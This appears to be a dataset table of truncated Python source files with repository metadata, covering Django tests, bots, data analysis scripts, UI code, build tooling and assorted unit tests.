hexsha stringlengths 40 40 | size int64 5 2.06M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 248 | max_stars_repo_name stringlengths 5 125 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 248 | max_issues_repo_name stringlengths 5 125 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 248 | max_forks_repo_name stringlengths 5 125 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 5 2.06M | avg_line_length float64 1 1.02M | max_line_length int64 3 1.03M | alphanum_fraction float64 0 1 | count_classes int64 0 1.6M | score_classes float64 0 1 | count_generators int64 0 651k | score_generators float64 0 1 | count_decorators int64 0 990k | score_decorators float64 0 1 | count_async_functions int64 0 235k | score_async_functions float64 0 1 | count_documentation int64 0 1.04M | score_documentation float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ab9dd6f296e330b5dfe57858dfcb987488e38617 | 1,677 | py | Python | api/tests/test_category.py | KamilJakubczak/budget-api | b1c602b38183b46d09b267a3b848d3dcf5d293c6 | [
"MIT"
] | null | null | null | api/tests/test_category.py | KamilJakubczak/budget-api | b1c602b38183b46d09b267a3b848d3dcf5d293c6 | [
"MIT"
] | 3 | 2020-08-25T18:19:42.000Z | 2022-02-13T19:39:19.000Z | api/tests/test_category.py | KamilJakubczak/budget-api | b1c602b38183b46d09b267a3b848d3dcf5d293c6 | [
"MIT"
] | null | null | null | from django.test import TestCase
from django.urls import reverse
from django.contrib.auth import get_user_model
from rest_framework import status
from rest_framework.test import APIClient
from api.models import Category
category_URL = reverse('api:category-list')
class PublicTestCase(TestCase):
"""
Test fo... | 27.048387 | 71 | 0.618366 | 1,404 | 0.837209 | 0 | 0 | 0 | 0 | 0 | 0 | 272 | 0.162194 |
ab9e9c2eada36636bd43aa94268d3aee76259f10 | 1,989 | py | Python | test/test_users.py | hanguokai/youku | 8032710902411f92e1ae3f280eb121fd7231983b | [
"Apache-2.0"
] | 106 | 2015-01-18T09:02:44.000Z | 2020-10-23T14:32:16.000Z | test/test_users.py | hanguokai/youku | 8032710902411f92e1ae3f280eb121fd7231983b | [
"Apache-2.0"
] | 6 | 2016-10-16T14:17:47.000Z | 2019-09-26T16:42:13.000Z | test/test_users.py | hanguokai/youku | 8032710902411f92e1ae3f280eb121fd7231983b | [
"Apache-2.0"
] | 25 | 2015-01-24T03:01:07.000Z | 2020-05-04T12:23:28.000Z | # -*- coding: utf-8 -*-
import os
import sys
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import unittest
from config import *
from youku import YoukuUsers
class UserTest(unittest.TestCase):
def setUp(self):
self.youku = YoukuUsers(CLIENT_ID)
def test_my_info(self)... | 32.606557 | 79 | 0.685772 | 1,758 | 0.878561 | 0 | 0 | 0 | 0 | 0 | 0 | 271 | 0.135432 |
aba0d165ccc8910e46a4f5ec4ae38db5c9961875 | 26,044 | py | Python | python/imprinting_analysis/imprinting_analysis.py | jonassibbesen/hamster-project-scripts | 2d470dd028be77c9d866d67d16adc0c17d5ba819 | [
"MIT"
] | 3 | 2021-03-25T08:26:18.000Z | 2022-01-05T08:45:42.000Z | python/imprinting_analysis/imprinting_analysis.py | jonassibbesen/hamster-project-scripts | 2d470dd028be77c9d866d67d16adc0c17d5ba819 | [
"MIT"
] | null | null | null | python/imprinting_analysis/imprinting_analysis.py | jonassibbesen/hamster-project-scripts | 2d470dd028be77c9d866d67d16adc0c17d5ba819 | [
"MIT"
] | 1 | 2021-05-14T21:28:42.000Z | 2021-05-14T21:28:42.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu May 13 12:12:25 2021
@author: Jordan
"""
import sys
import os
import numpy as np
import pandas as pd
import seaborn as sns
import tempfile
import gc
import re
import collections
import gzip
import bisect
import pickle
import itertools
import math
sns.... | 35.05249 | 128 | 0.507986 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,550 | 0.136308 |
aba36294bade63b92b2258cf8156dbcd7056f857 | 173 | py | Python | server/users/urls.py | Egor4ik325/chaticket | 023fb2c533268b020b01f1580404ae30af1b231a | [
"MIT"
] | null | null | null | server/users/urls.py | Egor4ik325/chaticket | 023fb2c533268b020b01f1580404ae30af1b231a | [
"MIT"
] | 1 | 2021-09-25T20:53:22.000Z | 2021-09-25T20:53:22.000Z | server/users/urls.py | Egor4ik325/chaticket | 023fb2c533268b020b01f1580404ae30af1b231a | [
"MIT"
] | null | null | null |
from rest_framework.routers import DefaultRouter
from .views import UserViewSet
router = DefaultRouter()
router.register('users', UserViewSet)
urlpatterns = router.urls
| 17.3 | 48 | 0.809249 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 | 0.040462 |
aba3ca3cb2abe792a4ee6dcd8344c35aa3650122 | 430 | py | Python | donkeycar/parts/model_wrappers/__init__.py | augustin-barillec/tortue-rapide | 92dbde0a98bfabbedf3bc3502fc648d254ac330a | [
"MIT"
] | 12 | 2019-05-28T17:57:57.000Z | 2022-01-14T14:46:30.000Z | donkeycar/parts/model_wrappers/__init__.py | augustin-barillec/tortue-rapide | 92dbde0a98bfabbedf3bc3502fc648d254ac330a | [
"MIT"
] | 7 | 2019-12-16T22:09:49.000Z | 2021-09-12T15:35:41.000Z | donkeycar/parts/model_wrappers/__init__.py | augustin-barillec/tortue-rapide | 92dbde0a98bfabbedf3bc3502fc648d254ac330a | [
"MIT"
] | 2 | 2021-01-24T15:31:57.000Z | 2021-07-28T17:23:29.000Z | from donkeycar.parts.model_wrappers.Angle5FlipSharpThrottleOn import Angle5FlipSharpThrottleOn
from donkeycar.parts.model_wrappers.Angle5ifelse import Angle5ifelse
from donkeycar.parts.model_wrappers.Angle3ifelse import Angle3ifelse
from donkeycar.parts.model_wrappers.Angle3speedy import SpeedyFranklin3choices
from don... | 61.428571 | 94 | 0.902326 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
aba42aace3da5a22bb64d7c6415ae3217f5a8a2c | 589 | py | Python | old sources/loops.py | archang3l-media/neuroscience-master | e435a6d38d84afede65a8a406d28a4dc3e473f30 | [
"MIT"
] | null | null | null | old sources/loops.py | archang3l-media/neuroscience-master | e435a6d38d84afede65a8a406d28a4dc3e473f30 | [
"MIT"
] | null | null | null | old sources/loops.py | archang3l-media/neuroscience-master | e435a6d38d84afede65a8a406d28a4dc3e473f30 | [
"MIT"
] | null | null | null | my_list = ['banana', 'strawberry', 'apple', 'watermelon', 'peach'] #a simple list
sorted_list = sorted(my_list) #python includes powerful sorting algorithms
for x in range(1,11,1): #a for loop which counts to ten
"""range takes up to three arguments: the start, which is
inclusive, the end, which is exclusive and th... | 45.307692 | 81 | 0.718166 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 375 | 0.636672 |
aba5a20bb67be074c4810bf3da7c2a271409d71b | 2,146 | py | Python | encdecpy/base64.py | IronVenom/encdecpy | cca838765e55af846484eebb71f1f49645d147c6 | [
"MIT"
] | 9 | 2019-04-16T18:50:48.000Z | 2022-03-15T11:57:02.000Z | encdecpy/base64.py | IronVenom/encdecpy | cca838765e55af846484eebb71f1f49645d147c6 | [
"MIT"
] | null | null | null | encdecpy/base64.py | IronVenom/encdecpy | cca838765e55af846484eebb71f1f49645d147c6 | [
"MIT"
] | 1 | 2021-08-13T16:00:28.000Z | 2021-08-13T16:00:28.000Z | # Dictionaries for base64 encoding and decoding.
encode_dict = {0:'A',1:'B',2:'C',3:'D',4:'E',5:'F',6:'G',7:'H',8:'I',9:'J',10:'K',11:'L',12:'M',13:'N',14:'O',15:'P',16:'Q',17:'R',18:'S',19:'T',20:'U',21:'V',22:'W',
23:'X',24:'Y',25:'Z',26:'a',27:'b',28:'c',29:'d',30:'e',31:'f',32:'g',33:'h',34:'i',35:'j',36:'k',... | 34.612903 | 166 | 0.567102 | 1,576 | 0.73439 | 0 | 0 | 0 | 0 | 0 | 0 | 439 | 0.204567 |
aba69264e1ac48abb0bcfe70f1af9670b4edc6a2 | 590 | py | Python | views/windows/basewindow.py | RamonWill/portfolio-management-project | ac8ce313f8d62f09810fc1da19d6b252f193871b | [
"MIT"
] | 14 | 2020-01-01T04:59:06.000Z | 2022-02-08T06:48:21.000Z | views/windows/basewindow.py | linhvien/portfolio-management-project | ac8ce313f8d62f09810fc1da19d6b252f193871b | [
"MIT"
] | null | null | null | views/windows/basewindow.py | linhvien/portfolio-management-project | ac8ce313f8d62f09810fc1da19d6b252f193871b | [
"MIT"
] | 8 | 2020-10-15T06:52:37.000Z | 2021-10-04T06:44:36.000Z | import tkinter as tk
class BaseWindow(tk.Toplevel):
def __init__(self):
super().__init__()
self.base_frame = tk.Frame(self)
self.base_frame.pack(fill="both", expand="true")
self.base_frame.pack_propagate(0)
self.frame_styles = {
"relief": "groove",
... | 24.583333 | 56 | 0.476271 | 566 | 0.959322 | 0 | 0 | 0 | 0 | 0 | 0 | 134 | 0.227119 |
aba82608b365c3add79167593a64438d0fe2fb8a | 963 | py | Python | sync/auth.py | tstodden/google-sheets-sync | d3b73b9a2b76da1fabc6d0b1db43fc6b71fd0d23 | [
"MIT"
] | null | null | null | sync/auth.py | tstodden/google-sheets-sync | d3b73b9a2b76da1fabc6d0b1db43fc6b71fd0d23 | [
"MIT"
] | null | null | null | sync/auth.py | tstodden/google-sheets-sync | d3b73b9a2b76da1fabc6d0b1db43fc6b71fd0d23 | [
"MIT"
] | null | null | null | import os
from typing import NamedTuple
from google.oauth2.service_account import Credentials as OAuthCredentials
from .constants import OAUTH_CONFIG_PATH, OAUTH_SCOPES
class PostgresCredentials:
def __init__(self):
self.host = os.environ.get("SYNC_DB_HOST")
self.dbname = os.environ.get("SYNC_DB... | 28.323529 | 79 | 0.718588 | 783 | 0.813084 | 0 | 0 | 0 | 0 | 0 | 0 | 60 | 0.062305 |
aba8585d9a6da63e6cb8ee1a4fa109ef589d5a83 | 9,993 | py | Python | autobidder.py | planet-winter/forumbidder | f80f1893b8bb7284f3ca0a95f184812b5c4a0244 | [
"MIT"
] | null | null | null | autobidder.py | planet-winter/forumbidder | f80f1893b8bb7284f3ca0a95f184812b5c4a0244 | [
"MIT"
] | null | null | null | autobidder.py | planet-winter/forumbidder | f80f1893b8bb7284f3ca0a95f184812b5c4a0244 | [
"MIT"
] | null | null | null | #!/usr/bin/python
import requests
import json
import re
import mechanize
import cookielib
import sys
from BeautifulSoup import BeautifulSoup
# Variables
engaged = False
#topic_url="https://www.kvraudio.com/forum/viewtopic.php?f=1&t=470835"
topic_url = "http://www.kvraudio.com/forum/viewtopic.php?f=1&t=492028"
#topic... | 34.105802 | 119 | 0.566497 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5,019 | 0.502252 |
aba85a8982f79dd5cfad67d945512f5c715817c8 | 371 | py | Python | office_tracker/leave_tracker/apps.py | tanvir002700/tracker | 567c3be2f36ac120fb412c06126cbd8fa72be4b9 | [
"MIT"
] | null | null | null | office_tracker/leave_tracker/apps.py | tanvir002700/tracker | 567c3be2f36ac120fb412c06126cbd8fa72be4b9 | [
"MIT"
] | 11 | 2020-06-05T18:04:42.000Z | 2022-03-11T23:19:32.000Z | office_tracker/leave_tracker/apps.py | tanvir002700/tracker | 567c3be2f36ac120fb412c06126cbd8fa72be4b9 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
from django.db.models.signals import post_save
from django.apps import apps
from .signals import assign_season_to_all_user
class LeaveTrackerConfig(AppConfig):
name = 'leave_tracker'
def ready(self):
Season = apps.get_model('leave_tracker', 'Season')
post_save... | 30.916667 | 67 | 0.773585 | 212 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 38 | 0.102426 |
abab9d30016bdfbdb016a1d0c85da2a580756ebd | 5,970 | py | Python | accounts.py | SurajOliver/tradense | 9f14b6114be1b5753f0252f081e6efb7c26abf19 | [
"MIT"
] | null | null | null | accounts.py | SurajOliver/tradense | 9f14b6114be1b5753f0252f081e6efb7c26abf19 | [
"MIT"
] | null | null | null | accounts.py | SurajOliver/tradense | 9f14b6114be1b5753f0252f081e6efb7c26abf19 | [
"MIT"
] | null | null | null | import datetime
import numpy as np
import pandas as pd
from google.oauth2 import service_account
from googleapiclient import discovery
SPREADSHEET_ID = "1otVI0JgfuBDJw8jlW_l8vHXyfo5ufJiXOqshDixazZA" # ALL-IN-ONE-LOG-2021
class Spreadsheet:
def __init__(self, spreadsheetId):
self.spreadsheetId = spreads... | 27.638889 | 123 | 0.574372 | 2,240 | 0.375209 | 0 | 0 | 0 | 0 | 0 | 0 | 1,450 | 0.242881 |
abac1a3c955f1251fb90f89726bf46a055cf6faa | 1,513 | py | Python | bot.py | googlewaitme/picture-bot | ecdbb7b925f11c073e654a403aca4c91d7cbde6d | [
"MIT"
] | null | null | null | bot.py | googlewaitme/picture-bot | ecdbb7b925f11c073e654a403aca4c91d7cbde6d | [
"MIT"
] | null | null | null | bot.py | googlewaitme/picture-bot | ecdbb7b925f11c073e654a403aca4c91d7cbde6d | [
"MIT"
] | null | null | null | import telebot
import settings
import helpers
from models import User
bot = telebot.TeleBot(settings.token, parse_mode=None)
users = dict()
@bot.message_handler(commands=['start', 'help'])
def send_help(message):
if not message.chat.id in users:
users[message.chat.id] = User()
bot.reply_to(message, settings.help... | 28.54717 | 94 | 0.777925 | 0 | 0 | 0 | 0 | 1,392 | 0.889457 | 0 | 0 | 189 | 0.120767 |
abac74889730121207b018502893e78b98c8747a | 422 | py | Python | apps/users/migrations/0008_user_roles.py | andipandiber/CajaAhorros | cb0769fc04529088768ea650f9ee048bd9a55837 | [
"MIT"
] | null | null | null | apps/users/migrations/0008_user_roles.py | andipandiber/CajaAhorros | cb0769fc04529088768ea650f9ee048bd9a55837 | [
"MIT"
] | 8 | 2021-03-30T13:39:24.000Z | 2022-03-12T00:36:15.000Z | apps/users/migrations/0008_user_roles.py | andresbermeoq/CajaAhorros | cb0769fc04529088768ea650f9ee048bd9a55837 | [
"MIT"
] | null | null | null | # Generated by Django 3.0.7 on 2020-07-08 15:41
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('roles', '0001_initial'),
('users', '0007_auto_20200706_0436'),
]
operations = [
migrations.AddField(
model_name='user',
... | 21.1 | 58 | 0.582938 | 329 | 0.779621 | 0 | 0 | 0 | 0 | 0 | 0 | 125 | 0.296209 |
abafaffe850f5ad038e992cc605a8658d0b5ae83 | 7,158 | py | Python | app/routers/brandnewday_test.py | nbult/quotes | 3bfe31a0c5c629c4883a2cf10bf582a9f16ea209 | [
"MIT"
] | null | null | null | app/routers/brandnewday_test.py | nbult/quotes | 3bfe31a0c5c629c4883a2cf10bf582a9f16ea209 | [
"MIT"
] | 1 | 2021-08-25T11:12:59.000Z | 2021-08-25T11:12:59.000Z | app/routers/brandnewday_test.py | nickybulthuis/quotes | 3bfe31a0c5c629c4883a2cf10bf582a9f16ea209 | [
"MIT"
] | null | null | null | import json
from datetime import date, datetime
import pytest
import responses
from fastapi.testclient import TestClient
from .brandnewday import funds_cache, quote_cache
from ..main import app
from ..models import Quote
client = TestClient(app)
prefix = '/brandnewday/'
@pytest.fixture(autouse=True)
def clear_cac... | 41.137931 | 110 | 0.607572 | 0 | 0 | 76 | 0.010617 | 6,330 | 0.884325 | 0 | 0 | 2,524 | 0.352612 |
abb0ccb320d11e326c6450c49171c55c9d867c94 | 5,385 | py | Python | meggie/mainwindow/dialogs/preferencesDialogUi.py | Teekuningas/meggie | 0790559febb990a5487d4f0c92987066632e1d99 | [
"BSD-2-Clause-FreeBSD"
] | 4 | 2020-04-29T08:57:11.000Z | 2021-01-15T21:21:51.000Z | meggie/mainwindow/dialogs/preferencesDialogUi.py | Teekuningas/meggie | 0790559febb990a5487d4f0c92987066632e1d99 | [
"BSD-2-Clause-FreeBSD"
] | 16 | 2019-05-03T10:31:16.000Z | 2021-05-06T14:59:55.000Z | meggie/mainwindow/dialogs/preferencesDialogUi.py | cibr-jyu/meggie | 0790559febb990a5487d4f0c92987066632e1d99 | [
"BSD-2-Clause-FreeBSD"
] | 3 | 2020-12-12T09:57:00.000Z | 2020-12-20T17:12:05.000Z | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'preferencesDialogUi.ui'
#
# Created by: PyQt5 UI code generator 5.12.3
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_DialogPreferences(object):
def setupUi(self, DialogPr... | 62.616279 | 160 | 0.758774 | 5,130 | 0.952646 | 0 | 0 | 0 | 0 | 0 | 0 | 878 | 0.163045 |
abb2466001716bd862791946936f478b4e0f91ce | 787 | py | Python | tests/test_measuring_from_threads.py | tqsd/EQSN_python | 823a315b1c2f5658cded19d8c97e579ce7285c42 | [
"MIT"
] | 3 | 2020-05-03T15:09:41.000Z | 2021-12-17T11:26:34.000Z | tests/test_measuring_from_threads.py | tqsd/EQSN_python | 823a315b1c2f5658cded19d8c97e579ce7285c42 | [
"MIT"
] | 5 | 2020-03-13T10:03:39.000Z | 2020-07-09T12:56:04.000Z | tests/test_measuring_from_threads.py | tqsd/EQSN_python | 823a315b1c2f5658cded19d8c97e579ce7285c42 | [
"MIT"
] | 1 | 2020-05-03T15:06:24.000Z | 2020-05-03T15:06:24.000Z | import threading
import random
import time
from eqsn import EQSN
def test_measure_from_threads():
q_sim = EQSN()
def measure_or_hadamard(_id):
n = random.randrange(10, 20, 1)
for _ in range(n):
time.sleep(0.1)
q_sim.H_gate(_id)
nr_threads = 10
ids = [str(x) f... | 19.195122 | 69 | 0.584498 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 | 0.012706 |
abb2d80690576788c51726bbb153b052e20309fe | 1,464 | py | Python | _tests/test_permute_columns.py | allisonCYWu/utility_functions | d2c6246c96b9cd5e8c01292dd38ab0d572971698 | [
"Apache-2.0"
] | null | null | null | _tests/test_permute_columns.py | allisonCYWu/utility_functions | d2c6246c96b9cd5e8c01292dd38ab0d572971698 | [
"Apache-2.0"
] | 4 | 2019-11-18T13:24:08.000Z | 2020-02-05T19:49:59.000Z | _tests/test_permute_columns.py | allisonCYWu/utility_functions | d2c6246c96b9cd5e8c01292dd38ab0d572971698 | [
"Apache-2.0"
] | null | null | null | import unittest
from unittest import TestCase
from utility_functions.stats_functions import permute_columns
from utility_functions.databricks_uf import has_column
from connect2Databricks.spark_init import spark_init
if 'spark' not in locals():
spark, sqlContext, setting = spark_init()
sc = spark.sparkContext
cla... | 40.666667 | 114 | 0.555328 | 1,097 | 0.749317 | 0 | 0 | 0 | 0 | 0 | 0 | 149 | 0.101776 |
abb442950c4d7f407a450c76baca3bbbde03c64f | 24,857 | py | Python | cogs/fun.py | ZetDude/KalevBot | fcf8c1502d3d9c85917ca151f9fb2cf4f3713086 | [
"MIT"
] | 3 | 2017-10-28T21:07:58.000Z | 2018-05-05T12:14:05.000Z | cogs/fun.py | ZetDude/KalevBot | fcf8c1502d3d9c85917ca151f9fb2cf4f3713086 | [
"MIT"
] | 4 | 2017-09-08T17:44:31.000Z | 2017-10-09T15:10:23.000Z | cogs/fun.py | ZetDude/KalevBot | fcf8c1502d3d9c85917ca151f9fb2cf4f3713086 | [
"MIT"
] | 4 | 2017-09-03T15:37:47.000Z | 2017-11-15T20:15:59.000Z | """Fun commands that don't do anything really productive
night, thank, shipname, shipcount, ship, hug, pecan, fortune"""
# -*- coding: utf-8 -*-
import pickle
import random
import sqlite3 as lite
import subprocess
import discord
from discord.ext import commands
from lib import shipname_module as improved_shipname, ... | 53.80303 | 100 | 0.544796 | 23,848 | 0.94695 | 0 | 0 | 23,654 | 0.939247 | 22,089 | 0.877105 | 11,851 | 0.470577 |
abb5b6a5115ed18e2c351f8835ee0c1d15acd865 | 3,151 | py | Python | kross/base_push.py | pcorbel/kross | b7c282ecefc24066c3623257407b2f4ad02964bf | [
"Apache-2.0"
] | 7 | 2019-07-16T19:10:57.000Z | 2019-07-29T07:50:39.000Z | kross/base_push.py | pcorbel/kross | b7c282ecefc24066c3623257407b2f4ad02964bf | [
"Apache-2.0"
] | null | null | null | kross/base_push.py | pcorbel/kross | b7c282ecefc24066c3623257407b2f4ad02964bf | [
"Apache-2.0"
] | null | null | null | import os
import re
import shutil
import attr
import click
import subprocess32 as subprocess
import yaml
from kross.utils import echo, get_std
@attr.s
class BasePush(object):
push_args = attr.ib(type=tuple)
registry_target = attr.ib()
manifest_directory = attr.ib()
qemu_archs = attr... | 33.521277 | 83 | 0.597271 | 2,982 | 0.946366 | 0 | 0 | 2,991 | 0.949222 | 0 | 0 | 706 | 0.224056 |
abb63be3752095ce741f646a1eeb76e388b01a69 | 5,655 | py | Python | pylogue/menu_driver.py | tirinox/pylogue | 35b85f93a0d91b60a0d1640126b54d427b60712a | [
"MIT"
] | null | null | null | pylogue/menu_driver.py | tirinox/pylogue | 35b85f93a0d91b60a0d1640126b54d427b60712a | [
"MIT"
] | null | null | null | pylogue/menu_driver.py | tirinox/pylogue | 35b85f93a0d91b60a0d1640126b54d427b60712a | [
"MIT"
] | null | null | null | from comm.telegram import TelegramCommunicationBot
from telegram import Message
from util.misc import wlog, die, enumerate_2d_array
import traceback
class MessageResponse:
def __init__(self, text, user_id):
self.user_id = user_id
self.text = str(text).strip()
class MessageRequest:
pass
cla... | 32.687861 | 105 | 0.561804 | 5,511 | 0.971272 | 2,681 | 0.472506 | 0 | 0 | 0 | 0 | 585 | 0.103102 |
abb674cdfb0957870cdb52790ce97f51c0c2b5eb | 10,358 | py | Python | hiburn/actions.py | OpenHisiIpCam/hiburn | 71d8ab3c5a87401a60cf125d441e25f8b7d3282c | [
"MIT"
] | 8 | 2020-04-06T08:47:26.000Z | 2021-02-23T17:10:12.000Z | hiburn/actions.py | OpenHisiIpCam/hiburn | 71d8ab3c5a87401a60cf125d441e25f8b7d3282c | [
"MIT"
] | 2 | 2020-05-14T16:59:33.000Z | 2021-06-19T23:48:35.000Z | hiburn/actions.py | OpenHisiIpCam/hiburn | 71d8ab3c5a87401a60cf125d441e25f8b7d3282c | [
"MIT"
] | 2 | 2020-05-02T22:49:01.000Z | 2020-05-12T02:39:26.000Z | import logging
import ipaddress
import os
from . import utils
from . import ymodem
# -------------------------------------------------------------------------------------------------
class Action:
@classmethod
def _run(cls, client, config, args):
return cls(client, config).run(args)
def __init__(... | 41.266932 | 127 | 0.577621 | 9,092 | 0.877776 | 0 | 0 | 3,538 | 0.341572 | 0 | 0 | 3,435 | 0.331628 |
abb837a9e83e5c81cca4c68f2584b6bea603d190 | 955 | py | Python | tree/inorder_traversal.py | vandesa003/leetcode_algo | 8ebefef685cd25d8e149592f24e3552c8903504a | [
"MIT"
] | 1 | 2022-03-23T01:33:42.000Z | 2022-03-23T01:33:42.000Z | tree/inorder_traversal.py | vandesa003/leetcode_algo | 8ebefef685cd25d8e149592f24e3552c8903504a | [
"MIT"
] | null | null | null | tree/inorder_traversal.py | vandesa003/leetcode_algo | 8ebefef685cd25d8e149592f24e3552c8903504a | [
"MIT"
] | 1 | 2020-07-24T03:32:30.000Z | 2020-07-24T03:32:30.000Z | """
中序遍历:DFS或者栈来实现。
leetcode No.94
"""
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
class Solution:
# dfs 递归实现
def inorderTraversal(self, root: TreeNode) -> List[in... | 22.738095 | 60 | 0.517277 | 349 | 0.330806 | 0 | 0 | 0 | 0 | 0 | 0 | 380 | 0.36019 |
abba7040a0cfe0cf70bb295473073b731da5a2e6 | 412 | py | Python | places/permissions.py | easymean/ModusDRF | 155a33a058c6b86c4b12081f589da78761d83438 | [
"MIT"
] | null | null | null | places/permissions.py | easymean/ModusDRF | 155a33a058c6b86c4b12081f589da78761d83438 | [
"MIT"
] | null | null | null | places/permissions.py | easymean/ModusDRF | 155a33a058c6b86c4b12081f589da78761d83438 | [
"MIT"
] | null | null | null | from common.permissions import IsOwner
from rest_framework.permissions import IsAuthenticated
class IsHostAuthenticated(IsOwner):
def has_permission(self, request, view):
if IsAuthenticated(request, view):
host = request.user
# if host.is_auth is True:
# return Tru... | 25.75 | 54 | 0.604369 | 315 | 0.764563 | 0 | 0 | 0 | 0 | 0 | 0 | 68 | 0.165049 |
abbae38fd528e8e3b7d6157c4bab4dfdbdd77b68 | 602 | py | Python | PyObjCTest/test_nsnibloading.py | Khan/pyobjc-framework-Cocoa | f8b015ea2a72d8d78be6084fb12925c4785b8f1f | [
"MIT"
] | 132 | 2015-01-01T10:02:42.000Z | 2022-03-09T12:51:01.000Z | mac/pyobjc-framework-Cocoa/PyObjCTest/test_nsnibloading.py | mba811/music-player | 7998986b34cfda2244ef622adefb839331b81a81 | [
"BSD-2-Clause"
] | 6 | 2015-01-06T08:23:19.000Z | 2019-03-14T12:22:06.000Z | mac/pyobjc-framework-Cocoa/PyObjCTest/test_nsnibloading.py | mba811/music-player | 7998986b34cfda2244ef622adefb839331b81a81 | [
"BSD-2-Clause"
] | 27 | 2015-02-23T11:51:43.000Z | 2022-03-07T02:34:18.000Z | from AppKit import *
from PyObjCTools.TestSupport import *
class TestNSNibLoading (TestCase):
def testMethods(self):
self.assertResultIsBOOL(NSBundle.loadNibFile_externalNameTable_withZone_)
self.assertResultIsBOOL(NSBundle.loadNibNamed_owner_)
self.assertResultIsBOOL(NSBundle.loadNibFile_... | 31.684211 | 81 | 0.777409 | 500 | 0.830565 | 0 | 0 | 207 | 0.343854 | 0 | 0 | 16 | 0.026578 |
abbb57cc94fe1363193069eeb5073e9570578f59 | 2,956 | py | Python | analysis.py | RaiderYi/data-analysis-wordcloud | c3eea7b9a3ac396981a1a19fa60fd1716ed05aa9 | [
"MIT"
] | 2 | 2020-11-24T03:56:29.000Z | 2020-11-24T04:02:41.000Z | analysis.py | RaiderYi/data-analysis-wordcloud | c3eea7b9a3ac396981a1a19fa60fd1716ed05aa9 | [
"MIT"
] | null | null | null | analysis.py | RaiderYi/data-analysis-wordcloud | c3eea7b9a3ac396981a1a19fa60fd1716ed05aa9 | [
"MIT"
] | null | null | null | #-*- coding:utf-8 -*-
import pandas as pd
import matplotlib.pyplot as plt
plt.rcParams['font.sans-serif']=['SimHei']# 用于显示plt的中文标签
pd.set_option('display.max_columns', None)#显示所有列
pd.set_option('display.max_rows', None)#显示所有行
data = pd.read_csv('C:\User\dell\Desktop\大众点评\dazhong.csv',encoding='gbk')
#print(data.head()... | 34.776471 | 93 | 0.72429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,479 | 0.450365 |
abbc16642f88ae7f1504bc4fde9ba1c81bcb930e | 19,773 | py | Python | packages/gtmapi/lmsrvlabbook/tests/test_environment_queries.py | gigabackup/gigantum-client | 70fe6b39b87b1c56351f2b4c551b6f1693813e4f | [
"MIT"
] | 60 | 2018-09-26T15:46:00.000Z | 2021-10-10T02:37:14.000Z | packages/gtmapi/lmsrvlabbook/tests/test_environment_queries.py | gigabackup/gigantum-client | 70fe6b39b87b1c56351f2b4c551b6f1693813e4f | [
"MIT"
] | 1,706 | 2018-09-26T16:11:22.000Z | 2021-08-20T13:37:59.000Z | packages/gtmapi/lmsrvlabbook/tests/test_environment_queries.py | griffinmilsap/gigantum-client | 70fe6b39b87b1c56351f2b4c551b6f1693813e4f | [
"MIT"
] | 11 | 2019-03-14T13:23:51.000Z | 2022-01-25T01:29:16.000Z | import pytest
import graphene
from gtmcore.inventory.inventory import InventoryManager
from gtmcore.fixtures import ENV_UNIT_TEST_REPO, ENV_UNIT_TEST_BASE, ENV_UNIT_TEST_REV
from gtmcore.environment import ComponentManager
from gtmcore.environment.bundledapp import BundledAppManager
import gtmcore
from lmsrvlabbook.t... | 39.546 | 111 | 0.427603 | 19,372 | 0.97972 | 0 | 0 | 0 | 0 | 0 | 0 | 13,723 | 0.694027 |
abc03851149e0e601af538d349c6fb66b255a6d7 | 1,705 | py | Python | mars/core/__init__.py | chineking/mars | 660098c65bcb389c6bbebc26b2502a9b3af43cf9 | [
"Apache-2.0"
] | 1 | 2022-02-24T08:39:26.000Z | 2022-02-24T08:39:26.000Z | mars/core/__init__.py | chineking/mars | 660098c65bcb389c6bbebc26b2502a9b3af43cf9 | [
"Apache-2.0"
] | null | null | null | mars/core/__init__.py | chineking/mars | 660098c65bcb389c6bbebc26b2502a9b3af43cf9 | [
"Apache-2.0"
] | null | null | null | # Copyright 1999-2021 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | 25.073529 | 74 | 0.734311 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 657 | 0.385337 |
